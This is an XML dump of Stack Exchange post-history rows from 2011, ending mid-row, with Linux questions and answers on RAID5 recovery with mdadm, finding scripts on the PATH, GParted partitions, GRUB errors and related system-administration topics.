  <row Id="21874" PostHistoryTypeId="5" PostId="8861" RevisionGUID="4c132f1b-7c20-4226-8d40-79df7fbf943f" CreationDate="2011-03-13T19:41:17.880" UserId="4477" Comment="added up to date information" Text="Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array.&#xD;&#xA;&#xD;&#xA;* md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1.&#xD;&#xA;* md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2.&#xD;&#xA;* md2 is a RAID0 array comprised of sda3, sdb3, sdc3 and sdd3.&#xD;&#xA;&#xD;&#xA;md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, sdd2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones.&#xD;&#xA;&#xD;&#xA;At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk.&#xD;&#xA;&#xD;&#xA;Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I finally got a chance to connect the old disks and boot this machine from SystemRescueCd. Everything above was written from memory. Now I have some hard data. Here is the output of `mdadm --examine /dev/sd*2`&#xD;&#xA;&#xD;&#xA;    /dev/sda2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:40:48 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 3&#xD;&#xA;    Working Devices : 4&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48835 - correct&#xD;&#xA;             Events : 53204&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;    &#xD;&#xA;       0     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdb2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 2&#xD;&#xA;    Working Devices : 3&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b4894a - correct&#xD;&#xA;             Events : 53205&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdc2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48975 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdd2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48983 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;&#xD;&#xA;It appears that things have changed since the last boot. If I'm reading this correctly sda2, sdb2 and sdc2 are working and contain synchronized data and sdd2 is spare. I distinctly remember seeing 3 failed disks but this is good news. Yet the array still isn't working:&#xD;&#xA;&#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md125 : inactive sda2[0](S) sdb2[1](S) sdc2[2](S)&#xD;&#xA;          1875194880 blocks&#xD;&#xA;           &#xD;&#xA;    md126 : inactive sdd2[4](S)&#xD;&#xA;          625064960 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;md0 appears to be renamed to md127. md125 and md126 are very strange. They should be one array not two. That used to be called md1. md2 is completely gone but that was my swap so I don't care.&#xD;&#xA;&#xD;&#xA;I can understand the different names and it doesn't really matter. But why is an array with 3 &quot;active sync&quot; disks unreadable? And what's up with sdd2 being in a separate array?" />
  <row Id="21876" PostHistoryTypeId="2" PostId="9196" RevisionGUID="8001a403-2118-45ce-8474-ffd879c73e75" CreationDate="2011-03-13T20:39:29.710" UserId="4249" Text="I am (somehow) able to run a script:&#xD;&#xA;&#xD;&#xA;    $ assemble.sh file&#xD;&#xA;    ... [output]&#xD;&#xA;&#xD;&#xA;But `which` can't find it:&#xD;&#xA;&#xD;&#xA;    $ which assemble.sh&#xD;&#xA;    which: no assemble.sh in (/s/std/bin:/usr/afsws/bin:/opt/SUNWspro/bin:/usr/ccs/bin:/usr/ucb:/bin:/usr/bin:/usr/stat/bin:/usr/X11R6/bin:.&#xD;&#xA;&#xD;&#xA;1. How is this possible?&#xD;&#xA;2. How can I find where this file is?&#xD;&#xA;&#xD;&#xA;I'm using bash." />
  <row Id="21877" PostHistoryTypeId="1" PostId="9196" RevisionGUID="8001a403-2118-45ce-8474-ffd879c73e75" CreationDate="2011-03-13T20:39:29.710" UserId="4249" Text="Find a file in the path without &quot;which&quot;?" />
  <row Id="21878" PostHistoryTypeId="3" PostId="9196" RevisionGUID="8001a403-2118-45ce-8474-ffd879c73e75" CreationDate="2011-03-13T20:39:29.710" UserId="4249" Text="ébashàépathà" />
  <row Id="21881" PostHistoryTypeId="4" PostId="8861" RevisionGUID="87081521-c87f-45e1-b4b3-9d4f80acf1f1" CreationDate="2011-03-13T20:45:52.403" UserId="2511" Comment="edited title" Text="How to recover a crashed Linux md RAID5 array?" />
  <row Id="21883" PostHistoryTypeId="2" PostId="9197" RevisionGUID="79cc38c3-578e-4c69-a77c-7ae194361176" CreationDate="2011-03-13T21:19:34.747" UserId="732" Text="You may be using bash, but the syntax of the `which` output shows that you use the old `which` written in csh. The PATH shows up quoted by parentheses, and the directories in PATH have entries like `/opt/SUNWspro/bin` and `/usr/ccs/bin` which only make sense in Solaris. That's consistent: Solaris used the csh `which`.&#xD;&#xA;&#xD;&#xA;Here's my guess: you've got one PATH for bash, and another for csh.  This might be a system problem.  As I recall, Solaris keeps /etc/profile and /etc/cshrc files for system-wide PATH setting. Those two initialization files might set different PATH variables for different shells.  Do &quot;echo $PATH&quot; under bash, and see if it agrees with what the `which` command prints out as a PATH string." />
  <row Id="21884" PostHistoryTypeId="2" PostId="9198" RevisionGUID="6d35218d-0a56-434c-b7ef-ae4246754c0d" CreationDate="2011-03-13T21:26:40.497" UserId="4667" Text="For bash use `type -a assemble.sh`" />
  <row Id="21885" PostHistoryTypeId="2" PostId="9199" RevisionGUID="8b8ae19f-5621-4a8b-95a6-f3fbc5fdb35f" CreationDate="2011-03-13T21:58:44.887" UserId="3860" Text="You can use `locate assemble.sh` to find the location of the file." />
  <row Id="21886" PostHistoryTypeId="6" PostId="9196" RevisionGUID="23623069-fbf3-48e8-81aa-6bc60275a498" CreationDate="2011-03-13T22:24:33.527" UserId="885" Comment="edited tags" Text="ébashàéshellàépathà" />
  <row Id="21887" PostHistoryTypeId="2" PostId="9200" RevisionGUID="3d177e0d-5000-43f4-9cde-46636ad2059c" CreationDate="2011-03-13T22:37:14.657" UserId="885" Text="It would help if you posted all the scripts involved, but I'll hazard a guess. Those are bash scripts, but they are run by `/bin/sh`, which is dash and not bash on your system. Change the `#!/bin/sh` line at the top of the scripts to `#!/bin/bash`, and change the explicit invocations of `/bin/sh` into `/bin/bash` as well.&#xD;&#xA;&#xD;&#xA;*(Beware that the small extract from the scripts you've included in your post shows that the author doesn't have a lot of experience writing unix shell scripts. From what I've seen elsewhere, this often applies to the rest of the driver. Open-source drivers shipped in Linux distributions tend to be much better quality than manufacturer-provided drivers. Unfortunately, it looks like you have no choice with this model.)*&#xD;&#xA;" />
  <row Id="21888" PostHistoryTypeId="2" PostId="9201" RevisionGUID="51846e51-7b75-4886-b75c-7714bd9e8b46" CreationDate="2011-03-13T22:37:55.617" UserId="3886" Text="Problem seems to be related to ACPI. Since you can not use keyboard while booting, I suggest to build custom kernel without ACPI (or even few with different configs), install system on flash drive and try to boot from it.&#xD;&#xA;If one of those kernels will boot correctly - just create partitions, format needed filesystems and `dump|restore` system from flash drive to hard disk." />
  <row Id="21889" PostHistoryTypeId="2" PostId="9202" RevisionGUID="4d1c79ca-d62e-4224-bb04-577fa3ef8aa5" CreationDate="2011-03-13T23:00:14.310" UserId="4778" Text="Put (server-start) in your .emacs file.&#xD;&#xA;&#xD;&#xA;Add this to ~/.bashrc&#xD;&#xA;alias myedit='emacsclient --alternate-editor=&quot;emacs&quot; --no-wait $*'&#xD;&#xA;&#xD;&#xA;then use myedit as your editor." />
  <row Id="21891" PostHistoryTypeId="5" PostId="9202" RevisionGUID="457e55fe-b2f3-4373-963c-4d9115a652eb" CreationDate="2011-03-13T23:15:48.053" UserId="4778" Comment="added 52 characters in body; added 158 characters in body" Text="Put `(server-start)` in your `.emacs` file.&#xD;&#xA;&#xD;&#xA;Add this to `~/.bashrc`&#xD;&#xA;&#xD;&#xA;    alias myedit='emacsclient --alternate-editor=&quot;&quot; --no-wait $*'&#xD;&#xA;&#xD;&#xA;then use `myedit` as your editor. You will have to use the `-c` option to bring up a window.&#xD;&#xA;&#xD;&#xA;So you may do this:&#xD;&#xA;&#xD;&#xA;    myedit -c a-file&#xD;&#xA;    run-script #that uses myedit&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    run-script #that uses myedit&#xD;&#xA;    myedit -c&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21892" PostHistoryTypeId="5" PostId="9202" RevisionGUID="3587bd04-e5f9-49c3-b7d0-7a9ed9029366" CreationDate="2011-03-13T23:22:30.820" UserId="4778" Comment="added 31 characters in body" Text="Put `(server-start)` in your `.emacs` file.&#xD;&#xA;&#xD;&#xA;Add this to `~/.bashrc`&#xD;&#xA;&#xD;&#xA;    alias myedit='emacsclient --alternate-editor=&quot;&quot; --no-wait $*' #quotes intentional left blank&#xD;&#xA;&#xD;&#xA;then use `myedit` as your editor. You will have to use the `-c` option to bring up a window.&#xD;&#xA;&#xD;&#xA;So you may do this:&#xD;&#xA;&#xD;&#xA;    myedit -c a-file&#xD;&#xA;    run-script #that uses myedit&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    run-script #that uses myedit&#xD;&#xA;    myedit -c&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21893" PostHistoryTypeId="25" PostId="9196" RevisionGUID="d7a7dd36-ef9a-414d-85b3-9adcb03fd27e" CreationDate="2011-03-13T23:24:39.467" Comment="http://twitter.com/#!/StackUnix/status/47075629774024704" />
  <row Id="21894" PostHistoryTypeId="2" PostId="9204" RevisionGUID="494ac3d7-d28a-48bb-9233-472888d58753" CreationDate="2011-03-13T21:22:32.153" UserId="2163" Text="When I use Firefox in Linux Mint, everything has a kind of green shade to it. The monitor is fine. I'm guessing it's Mint branding.&#xD;&#xA;&#xD;&#xA;How do I remove it?" />
  <row Id="21895" PostHistoryTypeId="1" PostId="9204" RevisionGUID="494ac3d7-d28a-48bb-9233-472888d58753" CreationDate="2011-03-13T21:22:32.153" UserId="2163" Text="Remove green from Linux Mint browser" />
  <row Id="21896" PostHistoryTypeId="3" PostId="9204" RevisionGUID="494ac3d7-d28a-48bb-9233-472888d58753" CreationDate="2011-03-13T21:22:32.153" UserId="2163" Text="ébrowserà" />
  <row Id="21897" PostHistoryTypeId="17" PostId="9204" RevisionGUID="ed6d291f-a8e7-4823-81e8-f14c36e170fb" CreationDate="2011-03-13T23:27:42.700" UserId="-1" Comment="from http://askubuntu.com/questions/30229/remove-green-from-linux-mint-browser" Text="" />
  <row Id="21899" PostHistoryTypeId="2" PostId="9206" RevisionGUID="aa68a76b-8bde-47af-b523-fba2e647f397" CreationDate="2011-03-14T00:40:51.787" UserId="5447" Text="From what I understand, the only way you can reliably watch netflix is through a virtual machine running Windows. At this point, playing natively in Linux is [not supported][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jacksonh.tumblr.com/post/965806498/how-to-watch-netflix-streaming-movies-on-linux-with" />
  <row Id="21901" PostHistoryTypeId="2" PostId="9208" RevisionGUID="d737cd52-f9e3-423e-a1b0-6afb9433ac1f" CreationDate="2011-03-14T01:11:04.867" UserId="5700" Text="I'm trying to create an extended partition. In GParted, I shrunk the size of the existing partition and now want to create a new EXTENDED partition in the free, unallocated space. GParted only lets me create a PRIMARY partition. What am I doing wrong here?&#xD;&#xA;&#xD;&#xA;Here's what I've got right now: http://i.imgur.com/WkEIS.png&#xD;&#xA;&#xD;&#xA;You can actually ignore the flag for the swap as &quot;boot.&quot; That was me just messing around trying to get it to work. I've removed that flag. Not sure how the question of boot affects all of this...maybe it factors in somehow.&#xD;&#xA;" />
  <row Id="21902" PostHistoryTypeId="1" PostId="9208" RevisionGUID="d737cd52-f9e3-423e-a1b0-6afb9433ac1f" CreationDate="2011-03-14T01:11:04.867" UserId="5700" Text="Creating an extended partition" />
  <row Id="21903" PostHistoryTypeId="3" PostId="9208" RevisionGUID="d737cd52-f9e3-423e-a1b0-6afb9433ac1f" CreationDate="2011-03-14T01:11:04.867" UserId="5700" Text="épartitionàéhardödiskà" />
  <row Id="21904" PostHistoryTypeId="2" PostId="9209" RevisionGUID="de8168a2-5529-4ce0-a19e-7aaf384840cc" CreationDate="2011-03-14T01:20:12.037" UserId="885" Text="You already have an extended partition. Unless you go through hoops, you can only have a single extended partition, but it can contain as many logical partitions as you want. Filesystems live on primary partitions (of which you can have at most 3, or 4 if you don't have an extended partittion) or logical partitions. The extended partition is only a container for logical partitions.&#xD;&#xA;&#xD;&#xA;Resize the extended partition `sdc2` to occupy more space, and create a new logical partition `sdc6` (and more if desired) inside the extended partition.&#xD;&#xA;" />
  <row Id="21906" PostHistoryTypeId="2" PostId="9211" RevisionGUID="89c43615-2bc6-43b6-a039-d8422fa8dc8d" CreationDate="2011-03-14T01:36:04.800" UserId="5447" Text="Currently, I don't think there is any way around this. &#xD;&#xA;&#xD;&#xA;It seems like the integration between the pulseaudio and gnome-media volume settings is still problematic. See for example:&#xD;&#xA;&#xD;&#xA;* http://ubuntuforums.org/showthread.php?t=1358021&#xD;&#xA;&#xD;&#xA;* https://bugs.launchpad.net/ubuntu/+source/gnome-media/+bug/325215&#xD;&#xA;&#xD;&#xA;* http://ubuntuforums.org/showthread.php?t=1677681&#xD;&#xA;&#xD;&#xA;Seems like the only way to fix this is for someone to [write a patch][1] for gnome-media's gnome-volume-control.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=1677681" />
  <row Id="21908" PostHistoryTypeId="5" PostId="9122" RevisionGUID="04ca1372-8ac6-49b8-aeb0-a987fa3ec041" CreationDate="2011-03-14T01:42:53.483" UserId="5325" Comment="popen, not system" Text="`glibc` doesn't know anything about MIME types; the API functions live at the level of desktop environment APIs, and the `freedesktop.org` recognize that harmonizing them is an impossible task so they only specify the shell-level interface.  You either use that via `popen()` or code for a particular desktop environment." />
  <row Id="21909" PostHistoryTypeId="2" PostId="9212" RevisionGUID="8c9d006c-462d-411f-88b5-4f9eaef7a159" CreationDate="2011-03-14T02:09:37.937" UserId="4485" Text="Or split the path, and use it in find - the first match should be the solution:&#xD;&#xA;&#xD;&#xA;    find ${PATH//:/ } -maxdepth 1 -name assemble.sh -print -quit&#xD;&#xA;&#xD;&#xA;'type' is of course more easy. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="21910" PostHistoryTypeId="25" PostId="9208" RevisionGUID="f708b8b5-40d3-4207-aaa6-beea831b6849" CreationDate="2011-03-14T02:24:39.607" Comment="http://twitter.com/#!/StackUnix/status/47120928974442496" />
  <row Id="21911" PostHistoryTypeId="2" PostId="9213" RevisionGUID="0b132c4e-68a5-4d4f-8306-74350117744a" CreationDate="2011-03-14T02:43:26.253" UserId="5447" Text="I'm not finding much documentation for [USN][1] + ntfs-3g, but looking through the ntfs-3g sources, in [include/ntfs-3g/layout.h][2], I found the following:&#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;     * struct NTFS_RECORD -&#xD;&#xA;     *&#xD;&#xA;     * The Update Sequence Array (usa) is an array of the u16 values which belong&#xD;&#xA;     * to the end of each sector protected by the update sequence record in which&#xD;&#xA;     * this array is contained. Note that the first entry is the Update Sequence&#xD;&#xA;     * Number (usn), a cyclic counter of how many times the protected record has&#xD;&#xA;     * been written to disk. The values 0 and -1 (ie. 0xffff) are not used. All&#xD;&#xA;     * last u16's of each sector have to be equal to the usn (during reading) or&#xD;&#xA;     * are set to it (during writing). If they are not, an incomplete multi sector&#xD;&#xA;     * transfer has occurred when the data was written.&#xD;&#xA;     * The maximum size for the update sequence array is fixed to:&#xD;&#xA;     *    maximum size = usa_ofs + (usa_count * 2) = 510 bytes&#xD;&#xA;     * The 510 bytes comes from the fact that the last u16 in the array has to&#xD;&#xA;     * (obviously) finish before the last u16 of the first 512-byte sector.&#xD;&#xA;     * This formula can be used as a consistency check in that usa_ofs +&#xD;&#xA;     * (usa_count * 2) has to be less than or equal to 510.&#xD;&#xA;     */&#xD;&#xA;    typedef struct {&#xD;&#xA;          NTFS_RECORD_TYPES magic;/* A four-byte magic identifying the&#xD;&#xA;                               record type and/or status. */&#xD;&#xA;          u16 usa_ofs;            /* Offset to the Update Sequence Array (usa)&#xD;&#xA;                               from the start of the ntfs record. */&#xD;&#xA;          u16 usa_count;          /* Number of u16 sized entries in the usa&#xD;&#xA;                               including the Update Sequence Number (usn),&#xD;&#xA;                               thus the number of fixups is the usa_count&#xD;&#xA;                               minus 1. */&#xD;&#xA;    } __attribute__((__packed__)) NTFS_RECORD;&#xD;&#xA;&#xD;&#xA;So apparently they are using USNs, but I don't know the proper way to get at them. I'd start by looking at how NTFS_RECORD is used, and try to work your way out the the API from there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/aa363798%28v=vs.85%29.aspx&#xD;&#xA;  [2]: http://ntfs-3g.sourcearchive.com/documentation/2009.1.1/layout_8h-source.html" />
  <row Id="21912" PostHistoryTypeId="5" PostId="9213" RevisionGUID="646e2218-faf1-4933-b398-81a1e9592641" CreationDate="2011-03-14T02:52:16.557" UserId="5447" Comment="added 55 characters in body" Text="I'm not finding much documentation for [USN][1] + ntfs-3g, but looking through the ntfs-3g sources, in [include/ntfs-3g/layout.h][2], I found the following:&#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;     * struct NTFS_RECORD -&#xD;&#xA;     *&#xD;&#xA;     * The Update Sequence Array (usa) is an array of the u16 values which belong&#xD;&#xA;     * to the end of each sector protected by the update sequence record in which&#xD;&#xA;     * this array is contained. Note that the first entry is the Update Sequence&#xD;&#xA;     * Number (usn), a cyclic counter of how many times the protected record has&#xD;&#xA;     * been written to disk. The values 0 and -1 (ie. 0xffff) are not used. All&#xD;&#xA;     * last u16's of each sector have to be equal to the usn (during reading) or&#xD;&#xA;     * are set to it (during writing). If they are not, an incomplete multi sector&#xD;&#xA;     * transfer has occurred when the data was written.&#xD;&#xA;     * The maximum size for the update sequence array is fixed to:&#xD;&#xA;     *    maximum size = usa_ofs + (usa_count * 2) = 510 bytes&#xD;&#xA;     * The 510 bytes comes from the fact that the last u16 in the array has to&#xD;&#xA;     * (obviously) finish before the last u16 of the first 512-byte sector.&#xD;&#xA;     * This formula can be used as a consistency check in that usa_ofs +&#xD;&#xA;     * (usa_count * 2) has to be less than or equal to 510.&#xD;&#xA;     */&#xD;&#xA;    typedef struct {&#xD;&#xA;          NTFS_RECORD_TYPES magic;/* A four-byte magic identifying the&#xD;&#xA;                               record type and/or status. */&#xD;&#xA;          u16 usa_ofs;            /* Offset to the Update Sequence Array (usa)&#xD;&#xA;                               from the start of the ntfs record. */&#xD;&#xA;          u16 usa_count;          /* Number of u16 sized entries in the usa&#xD;&#xA;                               including the Update Sequence Number (usn),&#xD;&#xA;                               thus the number of fixups is the usa_count&#xD;&#xA;                               minus 1. */&#xD;&#xA;    } __attribute__((__packed__)) NTFS_RECORD;&#xD;&#xA;&#xD;&#xA;(See also: struct STANDARD_INFORMATION's usn field)&#xD;&#xA;&#xD;&#xA;So apparently they are using USNs, but I don't know the proper way to get at them. I'd start by looking at how NTFS_RECORD is used, and try to work your way out the the API from there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/aa363798%28v=vs.85%29.aspx&#xD;&#xA;  [2]: http://ntfs-3g.sourcearchive.com/documentation/2009.1.1/layout_8h-source.html" />
  <row Id="21913" PostHistoryTypeId="2" PostId="9214" RevisionGUID="f8631795-1f69-494b-9dfe-099fc08d0202" CreationDate="2011-03-14T02:53:40.790" UserId="2421" Text="It's probably a custom theme.  Click Tools &gt; Add-ons &gt; Themes and select a different theme." />
  <row Id="21914" PostHistoryTypeId="5" PostId="9194" RevisionGUID="70c03413-4833-4eee-840e-d7db2b86f61c" CreationDate="2011-03-14T05:03:52.850" UserId="1375" Comment="Added detailed partition information." Text="I am have a fully updated Arch Linux system that was running fine. Last night I tried to setup autofs per instructions on the Arch wiki, but upon restart there was no boot menu and only a GRUB error message saying &quot;Error 15&quot;.&#xD;&#xA;&#xD;&#xA;(1) Using Ext2explore in Windows, I can see the following partition structure:&#xD;&#xA;![partitions][1]&#xD;&#xA;&#xD;&#xA;(2) Using fdisk in an ArchLinux live cd, I can see this:&#xD;&#xA;![partitions2][2]&#xD;&#xA;&#xD;&#xA;(3) I tried to do &quot;fdisk /dev/sda/&quot; then the commands x, f, w to correct error, but fdisk says my partitions' &quot;ordering is correct already&quot;&#xD;&#xA;&#xD;&#xA;(4) Using the root and setup commands in the GRUB shell also ended in failure (it tells me it can't find GRUB files, /boot/grub/, etc. etc.). Specifically, I tried &quot;root (hd0,1)&quot;, then &quot;setup (hd0)&quot;, (also hd0,0, hd0,2, etc.), all failed.&#xD;&#xA;&#xD;&#xA;Is there any hope of restoring my system? Thanks for your help.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/wbnz1.png&#xD;&#xA;  [2]: http://i.imgur.com/ICI00.png" />
  <row Id="21915" PostHistoryTypeId="25" PostId="9204" RevisionGUID="1c253881-1dfb-465e-ae3d-854a577f6625" CreationDate="2011-03-14T05:24:39.703" Comment="http://twitter.com/#!/StackUnix/status/47166228019683328" />
  <row Id="21916" PostHistoryTypeId="2" PostId="9215" RevisionGUID="6b36f3a4-a146-4f45-b627-a9f0c16ce698" CreationDate="2011-03-14T06:06:35.500" UserId="5703" Text="Hello guys. I am slightly new to Ubuntu and I just installed kate by typing `sudo apt-get install kate`. Now I want to install this [kate sql plugin][1] and google is not helping me. I downloaded a punch of files from [here][2] but what should I do with these files ? Where should I put them ? Would you please tell me how can I install this ?  &#xD;&#xA;  &#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kate-editor.org/2010/07/29/katesql-a-new-plugin-for-kate/&#xD;&#xA;  [2]: http://kde-apps.org/content/show.php/Kate+SQL+Plugin?content=126861" />
  <row Id="21917" PostHistoryTypeId="1" PostId="9215" RevisionGUID="6b36f3a4-a146-4f45-b627-a9f0c16ce698" CreationDate="2011-03-14T06:06:35.500" UserId="5703" Text="How can I install KateSql plugin on ubuntu ?" />
  <row Id="21918" PostHistoryTypeId="3" PostId="9215" RevisionGUID="6b36f3a4-a146-4f45-b627-a9f0c16ce698" CreationDate="2011-03-14T06:06:35.500" UserId="5703" Text="ékateà" />
  <row Id="21920" PostHistoryTypeId="2" PostId="9216" RevisionGUID="08c72764-11a9-41c2-ac5b-e87a648ca04b" CreationDate="2011-03-14T07:37:43.820" UserId="5495" Text="I want to build a program that use DBUS, using automake/autoconfig tools. But the make command always report an error &quot;dbus/dbus-glib.h&quot;: No such file or directory. &#xD;&#xA;&#xD;&#xA;My OS is ubuntu 10.10. And I installed both &quot;dbus-1&quot; and &quot;dbus-glib-1&quot;. I check the generated Makefile and found both AM_CFLAGS and AM_LDFLAGS are empty.&#xD;&#xA;&#xD;&#xA;Could somebody help? Many thanks!&#xD;&#xA;&#xD;&#xA;Here is my code:&#xD;&#xA;&#xD;&#xA;configure.ac:&#xD;&#xA;&#xD;&#xA;AC_INIT([my-app], [0.1])&#xD;&#xA;&#xD;&#xA;AC_PREREQ([2.59])&#xD;&#xA;&#xD;&#xA;AM_INIT_AUTOMAKE([1.10 -Wall no-define])&#xD;&#xA;&#xD;&#xA;AC_CONFIG_HEADERS([config.h])&#xD;&#xA;&#xD;&#xA;AC_PROG_CC&#xD;&#xA;&#xD;&#xA;AM_PROG_CC_C_O&#xD;&#xA;&#xD;&#xA;AC_CONFIG_FILES([Makefile])&#xD;&#xA;&#xD;&#xA;AC_OUTPUT&#xD;&#xA;&#xD;&#xA;DBUS_REQUIRED=1.3.1&#xD;&#xA;&#xD;&#xA;DBUS_GLIB_REQUIRED=0.82&#xD;&#xA;&#xD;&#xA;GLIB_REQUIRED=2.26.0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PKG_CHECK_MODULES(DBUS, [dbus-1 &gt;= $DBUS_REQUIRED dbus-glib-1 &gt;= 